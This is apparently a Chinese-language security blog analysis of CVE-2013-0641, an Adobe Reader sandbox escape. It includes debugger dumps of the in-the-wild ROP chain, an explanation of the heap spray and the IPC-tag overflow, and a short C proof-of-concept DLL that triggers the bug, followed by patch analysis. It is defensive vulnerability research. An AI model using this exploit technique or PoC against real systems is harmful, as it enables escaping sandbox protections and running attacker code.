首页 » 安全分析 » 正文

CVE-2013-0641, analysis of Acrobat Reader sandbox escape

[隐藏]

沙盒lpc channel函数调用w系列函数buffer和size不一致性漏洞

by instruder and binjo of code audit labs of vulnhunt.com

Acrobat Reader自从引入沙盒功能以来,针对其的漏洞攻击就急剧减少,表明沙盒对攻击门槛的提高帮助不少。门槛提升不代表无法攻击,最近流传的通过spear phishing邮件发送pdf附件的攻击就是利用了2个漏洞,第一个利用xfa漏洞rop shellcode加载恶意dll后,再次利用沙盒漏洞,在broker process进程执行最终的恶意代码。

整个逃离过程全是在D.T dll中完成,该DLL由sandbox process触发xfa漏洞之后shellcode加载。

  1. 通过函数RegisterClipboardFormatW注册剪切板格式,构造0x80个dword,dword全为0x8080020。
  2. 触发broker process进程分配大小0xC800000内存,其中布置好rop shellcode,同时站位0x8080020附近范围的内存。
  3. D.T构造调用GetClipboardFormatNameA的lpc buffer,同时更改lpc buffer对应要调用的tag变成0x73,0x73为GetClipboardFormatNameW的调用tag,broker process进程调用GetClipboardFormatNameW函数获取format,由于原本GetClipboardFormatNameW参数buffer里面填充了0x9c大小的0x42,且是单字节,但是实际的拷贝长度为0x9c×2,导致覆盖了后面的函数指针。
  4. D.T构造tag id 0xb0的调用,最终在acrod32.exe 地址AcroRd32+0x9afda控制EIP,跳至0x808002c处执行已经布置好的shellcode, 该shellcode加载L2P.T dll后完成此次攻击。

Clipboard format注册

D.T通过user32!RegisterClipboardFormatW注册了一个clipboard format,format中构造数据为0x80个0x08080020(该地址为触发漏洞是指向的函数指针地址)。

<br />
.text:10001D74                 sub     esp, 208h<br />
.text:10001D7A                 xor     eax, eax<br />
.text:10001D7C<br />
.text:10001D7C loc_10001D7C:                           ; CODE XREF: register_clipfmt+1Cj<br />
.text:10001D7C                 mov     dword ptr [ebp+eax*4+szFormat], 8080020h<br />
.text:10001D87                 inc     eax<br />
.text:10001D88                 cmp     eax, 80h<br />
.text:10001D8D                 jb      short loc_10001D7C<br />
…………………………………………………………………………………………………………………………<br />
.text:10001E12<br />
.text:10001E12 loc_10001E12:                           ; CODE XREF: register_clipfmt+2Bj<br />
.text:10001E12                 lea     eax, [ebp+szFormat]<br />
.text:10001E18                 push    eax             ; lpszFormat<br />
.text:10001E19                 call    RegisterClipboardFormatW<br />

这里填充的是宽字符buffer。

Rop shellcode

Rop shellcode利用clbcatq.dll中的指针。

<br />
.text:10002B4D<br />
.text:10002B4D pBuffer         = byte ptr -400h        ; shellcode built within<br />
.text:10002B4D var_380         = byte ptr -380h<br />
.text:10002B4D arg_0           = dword ptr  8<br />
.text:10002B4D<br />
.text:10002B4D                 push    ebp<br />
.text:10002B4E                 mov     ebp, esp<br />
.text:10002B50                 sub     esp, 400h<br />
.text:10002B56                 push    ebx<br />
.text:10002B57                 push    esi<br />
.text:10002B58                 push    edi<br />
.text:10002B59                 mov     ebx, [ebp+arg_0]<br />
.text:10002B5C                 push    offset g_pszModName ; %temp%L2P.T<br />
.text:10002B61                 lea     eax, [ebp+pBuffer] ; shellcode built within<br />
.text:10002B67                 push    eax<br />
.text:10002B68                 call    build_rop_shellcode<br />

ROP链

<br />
0:007&gt; dds ebp-400<br />
1d44f3d4  41414141<br />
1d44f3d8  41414141<br />
1d44f3dc  41414141<br />
1d44f3e0  41414141<br />
1d44f3e4  41414141<br />
1d44f3e8  41414141<br />
1d44f3ec  41414141<br />
1d44f3f0  41414141<br />
1d44f3f4  760214eb CLBCatQ+0x14eb<br />
1d44f3f8  760214eb CLBCatQ+0x14eb<br />
1d44f3fc  76024527 CLBCatQ!GetCatalogObject2+0xe71<br />
1d44f400  76051566 CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9<br />
1d44f404  760214eb CLBCatQ+0x14eb<br />
1d44f408  760214eb CLBCatQ+0x14eb<br />
1d44f40c  760214eb CLBCatQ+0x14eb<br />
1d44f410  7647ef42 kernel32!LoadLibraryW<br />
1d44f414  760214eb CLBCatQ+0x14eb<br />
1d44f418  08080054<br />
1d44f41c  7647c266 kernel32!Sleep<br />
1d44f420  760214eb CLBCatQ+0x14eb<br />
1d44f424  0036ee80<br />
1d44f428  003a0043<br />
1d44f42c  0055005c<br />
1d44f430  00650073<br />
1d44f434  00730072<br />
1d44f438  0077005c<br />
1d44f43c  006e0069<br />
1d44f440  005c0037<br />
1d44f444  00700041<br />
1d44f448  00440070<br />
1d44f44c  00740061<br />
1d44f450  005c0061</p>
<p>0:007&gt; du 1d44f428<br />
1d44f428  "C:Userswin7AppDataLocalTemp"<br />
1d44f468  "acrord32_sbxL2P.T"<br />

布置broker process shellcode内存布局

Rop shellcode组成后在shared memory中spray,大小为0xc800000,从而在0x08080020处占坑。

<br />
void *__stdcall build_rop_buffer(int a1)<br />
{<br />
void *v1; // esi@1<br />
void *i; // edi@1<br />
char pBuffer; // [sp+Ch] [bp-400h]@1<br />
char v5; // [sp+8Ch] [bp-380h]@1</p>
<p>build_rop_shellcode(&amp;pBuffer, &amp;g_pszModName);<br />
v1 = (void *)sub_10003840(a1);<br />
fill_sharemem(v1, &amp;v5, 0x3E0u);<br />
for ( i = (char *)v1 + 992; (char *)i + 1024 &lt; (char *)v1 + a1; i = (char *)i + 1024 )<br />
fill_sharemem(i, &amp;pBuffer, 0x400u);<br />
return v1;<br />
}<br />

Sandbox进程通过tag 0x5D HttpSendRequestA调用, broker进程对该调用进行检查,并读取相应内容到broker进程。

<br />
// sandbox process<br />
0:007&gt; bl<br />
0 d 64461049     0001 (0001)  0:**** AcroForm+0x1049<br />
1 e 649aa9be     0001 (0001)  0:**** AcroForm!DllUnregisterServer+0x3a639e<br />
2 e 02942259     0001 (0001)  0:**** D+0x2259<br />
3 e 02941c23     0001 (0001)  0:**** D+0x1c23<br />
0:007&gt; g<br />
Breakpoint 3 hit<br />
eax=0296d43c ebx=0000c161 ecx=00000000 edx=00000010 esi=00cc0018 edi=00000000<br />
eip=02941c23 esp=1d44f780 ebp=1d44f7cc iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212<br />
D+0x1c23:<br />
02941c23 push    offset D!initOLEcontainer+0x2b0b0 (0296d43c)<br />
0:007&gt; u<br />
D+0x1c23:<br />
02941c23 push    offset D!initOLEcontainer+0x2b0b0 (0296d43c)<br />
02941c28 call    D+0x18a3 (029418a3)    // lpc call<br />

0:007> dd 0296d43c
0296d43c 0000005d 00000000 00000000 00000000
0296d44c 00000000 00000000 00000000 00000000
0296d45c 00000000 00000000 00000000 00000000
0296d46c 00000000 00000000 00000000 00000003
0296d47c 00000004 00000070 00000004 00000005
0296d48c 00000074 00000000 00000008 00000074
0296d49c 0000000c ffffffff 00000080 ffffffff
0296d4ac 00cc0020 000005f0 1daf0028 0c800000

<br />
0:007&gt; db 1daf0028<br />
1daf0028  4c 00 6f 00 63 00 61 00-6c 00 5c 00 54 00 65 00  L.o.c.a.l..T.e.<br />
1daf0038  6d 00 70 00 5c 00 61 00-63 00 72 00 6f 00 72 00  m.p..a.c.r.o.r.<br />
1daf0048  64 00 33 00 32 00 5f 00-73 00 62 00 78 00 5c 00  d.3.2._.s.b.x..<br />
1daf0058  4c 00 32 00 50 00 2e 00-54 00 00 00 66 66 66 66  L.2.P...T...ffff<br />
1daf0068  66 66 66 66 66 66 66 66-66 66 66 66 66 66 66 66  ffffffffffffffff<br />
1daf0078  66 66 66 66 66 66 66 66-66 66 66 66 66 66 66 66  ffffffffffffffff<br />
1daf0088  66 66 66 66 66 66 66 66-66 66 66 66 66 66 66 66  ffffffffffffffff<br />
1daf0098  66 66 66 66 66 66 66 66-66 66 66 66 66 66 66 66  ffffffffffffffff</p>
<p>// broker process<br />
0:012&gt; bl<br />
0 e 012ea515     0001 (0001)  0:**** AcroRd32+0x9a515<br />
1 e 012e1ae0     0001 (0001)  0:**** AcroRd32+0x91ae0<br />
0:012&gt; g<br />
Breakpoint 1 hit<br />
eax=00cc0020 ebx=00000000 ecx=013a4940 edx=022d2960 esi=013a4940 edi=0000005d<br />
eip=012e1ae0 esp=032ffb14 ebp=032ffb34 iopl=0         nv up ei ng nz ac pe cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297<br />
AcroRd32+0x91ae0:<br />
012e1ae0 push    ebp<br />
0:012&gt;<br />
eax=013fa6f4 ebx=02314838 ecx=000005f0 edx=00000001 esi=00000000 edi=0c800000<br />
eip=012c82ab esp=032ffacc ebp=032ffae0 iopl=0         nv up ei ng nz na pe cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287<br />
AcroRd32+0x782ab:<br />
012c82ab push    edi<br />
0:012&gt;<br />
eax=013fa6f4 ebx=02314838 ecx=000005f0 edx=00000001 esi=00000000 edi=0c800000<br />
eip=012c82ac esp=032ffac8 ebp=032ffae0 iopl=0         nv up ei ng nz na pe cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287<br />
AcroRd32+0x782ac:<br />
012c82ac call    AcroRd32+0x282c1 (012782c1) // new(0xc800000)<br />
0:012&gt;<br />
eax=07ab0020 ebx=02314838 ecx=012782f0 edx=07ab0000 esi=00000000 edi=0c800000<br />
eip=012c82b1 esp=032ffac8 ebp=032ffae0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x782b1:<br />
012c82b1 mov     esi,eax<br />
…………………………………..<br />
0:012&gt; d 07ab0020<br />
07ab0020  00000000 00000000 00000000 00000000<br />
07ab0030  00000000 00000000 00000000 00000000<br />
07ab0040  00000000 00000000 00000000 00000000<br />
07ab0050  00000000 00000000 00000000 00000000<br />
07ab0060  00000000 00000000 00000000 00000000<br />
07ab0070  00000000 00000000 00000000 00000000<br />
07ab0080  00000000 00000000 00000000 00000000<br />
07ab0090  00000000 00000000 00000000 00000000<br />
0:012&gt; p<br />
eax=032ffba0 ebx=02314838 ecx=013fa6f4 edx=000001b4 esi=07ab0020 edi=0c800000<br />
eip=012c82d4 esp=032ffabc ebp=032ffae0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x782d4:<br />
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Windowssystem32kernel32.dll -<br />
012c82d4 call    dword ptr [AcroRd32+0xe53b0 (013353b0)] ds:0023:013353b0={kernel32!ReadProcessMemory (7646c7e3)}<br />
0:012&gt; p<br />
eax=00000001 ebx=02314838 ecx=032ffadc edx=0c800000 esi=07ab0020 edi=0c800000<br />
eip=012c82da esp=032ffad0 ebp=032ffae0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x782da:<br />
012c82da test    eax,eax<br />
0:012&gt; d 07ab0020<br />
07ab0020  006f004c 00610063 005c006c 00650054<br />
07ab0030  0070006d 0061005c 00720063 0072006f<br />
07ab0040  00330064 005f0032 00620073 005c0078<br />
07ab0050  0032004c 002e0050 00000054 66666666<br />
07ab0060  66666666 66666666 66666666 66666666<br />
07ab0070  66666666 66666666 66666666 66666666<br />
07ab0080  66666666 66666666 66666666 66666666<br />
07ab0090  66666666 66666666 66666666 66666666<br />
0:012&gt; d 08080020<br />
08080020  760214eb 760214eb 76024527 76051566<br />
08080030  760214eb 760214eb 760214eb 7647ef42<br />
08080040  760214eb 08080054 7647c266 760214eb<br />
08080050  0036ee80 003a0043 0055005c 00650073<br />
08080060  00730072 0077005c 006e0069 005c0037<br />
08080070  00700041 00440070 00740061 005c0061<br />
08080080  006f004c 00610063 005c006c 00650054<br />
08080090  0070006d 0061005c 00720063 0072006f<br />

溢出漏洞触发

D.T在布局完broke process内存布局之后,开始构造GetClipboardFormatNameA 函数调用的lpc buffer,具体函数sub_10001E23

<br />
.text:100022BE                 push    9Ch             ; size for trigger<br />
.text:100022C3                 push    ebx             ; handle of registered clipboard format name<br />
.text:100022C4                 call    sub_10001E23<br />
// sandbox process<br />
0:007&gt; bl<br />
0 d 64461049     0001 (0001)  0:**** AcroForm+0x1049<br />
1 e 649aa9be     0001 (0001)  0:**** AcroForm!DllUnregisterServer+0x3a639e<br />
2 e 02942259     0001 (0001)  0:**** D+0x2259<br />
3 e 02941c23     0001 (0001)  0:**** D+0x1c23<br />
4 e 02941ea5     0001 (0001)  0:**** D+0x1ea5<br />
0:007&gt; g<br />
Breakpoint 4 hit<br />
eax=0296d43c ebx=0000c161 ecx=00000000 edx=000000a0 esi=0000c161 edi=0000009c<br />
eip=02941ea5 esp=1d44f5bc ebp=1d44f7d0 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
D+0x1ea5:<br />
02941ea5 push    offset D!initOLEcontainer+0x2b0b0 (0296d43c)<br />
0:007&gt; u<br />
D+0x1ea5:<br />
02941ea5 push    offset D!initOLEcontainer+0x2b0b0 (0296d43c)<br />
02941eaa call    D+0x18a3 (029418a3)                // lpc call<br />
02941eaf call    D+0x1978 (02941978)<br />
02941eb4 call    D+0x1000 (02941000)<br />
02941eb9 pop     edi<br />
02941eba pop     esi<br />
02941ebb mov     esp,ebp<br />
02941ebd pop     ebp<br />

0:007> dd 0296d43c    —> IPC buffer
0296d43c 00000073 00000000 00000000 00000000  // tag id
0296d44c 00000000 00000000 00000000 00000000
0296d45c 00000000 00000000 00000000 00000000
0296d46c 00000000 00000000 00000000 00000002 // params_count
0296d47c 00000006 00000064 0000009c 00000002
0296d48c 00000100 00000004 ffffffff 00000104
0296d49c ffffffff 42424242 42424242 42424242
0296d4ac 42424242 42424242 42424242 42424242

结构

IPC Channel buffer structure

参数结构

Paraminfo structure

(ref BH_US_11_SabanalYason_Readerx_WP.pdf)

GetClipboardFormatNameA的tag 是0x74,但是恶意更改成0x73之后,broker process 进程并没有检查,对于broker process来说,参数的类型对应的函数ANSI或者UNICODE无法得知,
在检查参数和大小一致性后,就开始调用tag指定的函数,此处为调用GetClipboardFormatNameW函数

<br />
.text:0049A512                 mov     eax, [ebp+arg_4]<br />
.text:0049A515                 mov     ecx, [eax]<br />
.text:0049A517                 mov     eax, [eax+4]<br />
.text:0049A51A                 push    ebx<br />
.text:0049A51B                 push    esi<br />
.text:0049A51C                 push    ecx             ; cchMaxCount<br />
.text:0049A51D                 push    eax             ; lpszFormatName<br />
.text:0049A51E                 mov     eax, [ebp+format]<br />
.text:0049A521                 push    eax             ; format<br />
.text:0049A522                 xor     bl, bl<br />
.text:0049A524                 call    ds:GetClipboardFormatNameW<br />
.text:0049A52A                 mov     esi, eax<br />
.text:0049A52C                 test    esi, esi<br />
.text:0049A52E                 jnz     short loc_49A54C<br />

初始的buffer是0x9c大小,传入的cchMaxCount也是0x9c,但user32!GetClipboardFormatNameW实际数据拷贝大小为0x9c*2,从而覆盖了后续buffer的某些关键指针。

// broker process
0:003> bp AcroRd32+0x9a515
0:003> g
ModLoad: 73390000 7339d000 C:Windowssystem32dhcpcsvc6.DLL
ModLoad: 75200000 75212000 C:Windowssystem32dhcpcsvc.DLL
ModLoad: 73da0000 73db6000 C:Windowssystem32MAPI32.DLL
Breakpoint 0 hit
eax=04544720 ebx=00000000 ecx=013a34c8 edx=04544720 esi=013a34c8 edi=0316f80c
eip=012ea515 esp=01aff8f4 ebp=01aff8f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroRd32+0x9a515:
012ea515 mov ecx,dword ptr [eax] ds:0023:04544720=0000009c
0:003> dd eax l2
04544720 0000009c 0454a5e4
0:003> db 0454a5e4 l9c+20
0454a5e4 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a5f4 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a604 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a614 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a624 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a634 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a644 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a654 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a664 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0454a674 42 42 42 42 42 42 42 42-42 42 42 42 61 c1 00 00 BBBBBBBBBBBBa…
0454a684 00 00 00 00 00 00 00 00-00 00 00 00 05 91 ce 0b …………….
0454a694 00 00 00 94 50 9b 35 01-00 00 da 73 ….P.5….s

// overflow after calling GetClipboardFormatNameW

0:003> db 0454a5e4 l9c+20
0454a5e4 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a5f4 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a604 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a614 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a624 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a634 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a644 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a654 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a664 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a674 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a684 20 00 08 08 20 00 08 08-20 00 08 08 20 00 08 08 … … … …
0454a694 20 00 08 08 20 00 08 08-20 00 08 08 … … … // 0x01359b50 vtable overflowed

执行shellcode

D.T在溢出关键数据后,再次调用tag id 0xb0,触发调用先前布置的某对象。

<br />
// sandbox process<br />
0:007&gt; bp 02942099<br />
0:007&gt; g<br />
Breakpoint 4 hit<br />
eax=0296d43c ebx=0000c161 ecx=00000000 edx=00000004 esi=000003ea edi=000003ea<br />
eip=02942099 esp=1d44f7c4 ebp=1d44f7d4 iopl=0         nv up ei pl nz ac pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216<br />
D+0x2099:<br />
02942099 call    D+0x18a3 (029418a3)<br />
0:007&gt; dd 0296d43c<br />
0296d43c  000000b0 00000000 00000000 00000000<br />
0296d44c  00000000 00000000 00000000 00000000<br />
0296d45c  00000000 00000000 00000000 00000000<br />
0296d46c  00000000 00000000 00000000 00000001<br />
0296d47c  00000002 00000058 00000004 ffffffff<br />
0296d48c  0000005c ffffffff 000003ea 00000000<br />
0296d49c  00000000 00000000 00000000 00000000<br />
0296d4ac  00000000 00000000 00000000 00000000</p>
<p>// broker process<br />
0:013&gt; bp acrord32+9af80<br />
0:013&gt; g<br />
eax=019bfc64 ebx=0277f994 ecx=013a2144 edx=08080020 esi=013a2144 edi=0454a698<br />
eip=012eafd3 esp=019bfc50 ebp=019bfc5c iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x9afd3:<br />
012eafd3 mov     eax,dword ptr [edx+0Ch]              ds:0023:0808002c=76051566<br />
0:002&gt; ub<br />
AcroRd32+0x9afc1:<br />
012eafc1 push    eax<br />
012eafc2 lea     eax,[ebp+8]<br />
012eafc5 push    eax<br />
012eafc6 mov     ecx,esi<br />
012eafc8 call    AcroRd32+0xd34b0 (013234b0)<br />
012eafcd test    edi,edi<br />
012eafcf je      AcroRd32+0x9afdc (012eafdc)<br />
012eafd1 mov     edx,dword ptr [edi]        // edi points to fake vtable, 0x08080020<br />
0:002&gt; u<br />
AcroRd32+0x9afd3:<br />
012eafd3 mov     eax,dword ptr [edx+0Ch]   // edx under control<br />
012eafd6 push    1<br />
012eafd8 mov     ecx,edi<br />
012eafda call    eax      // rop stackpivot<br />
0:002&gt; p<br />
eax=76051566 ebx=0277f994 ecx=013a2144 edx=08080020 esi=013a2144 edi=0454a698<br />
eip=012eafd6 esp=019bfc50 ebp=019bfc5c iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x9afd6:<br />
012eafd6 push    1<br />
0:002&gt;<br />
eax=76051566 ebx=0277f994 ecx=013a2144 edx=08080020 esi=013a2144 edi=0454a698<br />
eip=012eafd8 esp=019bfc4c ebp=019bfc5c iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x9afd8:<br />
012eafd8 mov     ecx,edi<br />
0:002&gt;<br />
eax=76051566 ebx=0277f994 ecx=0454a698 edx=08080020 esi=013a2144 edi=0454a698<br />
eip=012eafda esp=019bfc4c ebp=019bfc5c iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
AcroRd32+0x9afda:<br />
012eafda call    eax {CLBCatQ!RegMeta::SetHandler+0x16 (76051566)}<br />
0:002&gt; u 76051566<br />
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Windowssystem32CLBCatQ.DLL -<br />
CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9:  ---------》start rop<br />
76051566 push    edx<br />
76051567 pop     esp<br />
76051568 pop     ebp<br />
76051569 ret     8<br />

由于broke process只检查了参数buffer和对应的size的一致性,但是没有考虑到W系列函数的buffer和size不是一致的,而是×2的关系,导致原本调用A系列的函数恶意调用成W系列函数 即可导致漏洞存在。

演示的漏洞例子

<br />
#include "stdafx.h"<br />
#pragma comment(lib,"user32.lib")<br />
char szFA[0x9c];<br />
void pass_sandbox()<br />
{<br />
WCHAR szFB[0x81*2]=L"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";</p>
<p>unsigned int error_code1=0;</p>
<p>UINT result = RegisterClipboardFormatW((LPCWSTR)szFB);</p>
<p>if (result==0)<br />
{<br />
error_code1=GetLastError();<br />
return ;<br />
}<br />
memset(szFA,0x45,0x9c);</p>
<p>GetClipboardFormatNameA(result,szFA,0x9c);//在最终发送lpc buffer时修改tag为0x73即可<br />
}<br />
BOOL APIENTRY DllMain( HMODULE hModule,<br />
DWORD  ul_reason_for_call,<br />
LPVOID lpReserved<br />
)<br />
{<br />
switch (ul_reason_for_call)<br />
{<br />
case DLL_PROCESS_ATTACH:<br />
pass_sandbox();<br />
case DLL_THREAD_ATTACH:<br />
case DLL_THREAD_DETACH:<br />
case DLL_PROCESS_DETACH:<br />
break;<br />
}<br />
return TRUE;<br />
}<br />

补丁

Adobe已经推出补丁,我们对比发现tag 0x73在处理GetClipboardFormatNameW callback时对传入的cchMaxCount参数进行了处理,如下:

<br />
.text:00496432                 mov     ecx, [ebp+arg_4]<br />
.text:00496435                 mov     eax, [ecx]<br />
.text:00496437                 mov     ecx, [ecx+4]<br />
.text:0049643A                 push    ebx<br />
.text:0049643B                 push    esi<br />
.text:0049643C                 shr     eax, 1          ; size / 2<br />
.text:0049643E                 push    eax             ; cchMaxCount<br />
.text:0049643F                 mov     eax, [ebp+format]<br />
.text:00496442                 push    ecx             ; lpszFormatName<br />
.text:00496443                 push    eax             ; format<br />
.text:00496444                 xor     bl, bl<br />
.text:00496446                 call    ds:GetClipboardFormatNameW<br />

这样补貌似有问题, 原本要长度0x9c的宽字节format,硬性长度/2之后,只能是获取到0x9c/2的宽字节format了。

总结

该文只分析了沙盒的逃离漏洞,同时惊叹该exploit作者对于pdf内部结构、沙盒的了如指掌。

分析不对之处,欢迎接受批评指出,谢谢!

如何检测

翰海源星云下一代网络攻击预警平台使用无签名的算法,已确认星云用户不需要更新任何签名就可以检测该攻击。

参考:

  1. http://media.blackhat.com/bh-us-11/Sabanal/BH_US_11_SabanalYason_Readerx_WP.pdf
  2. https://media.blackhat.com/bh-eu-12/Liu_Lovet/bh-eu-12-Liu_Lovet-Sandworms-Slides.pdf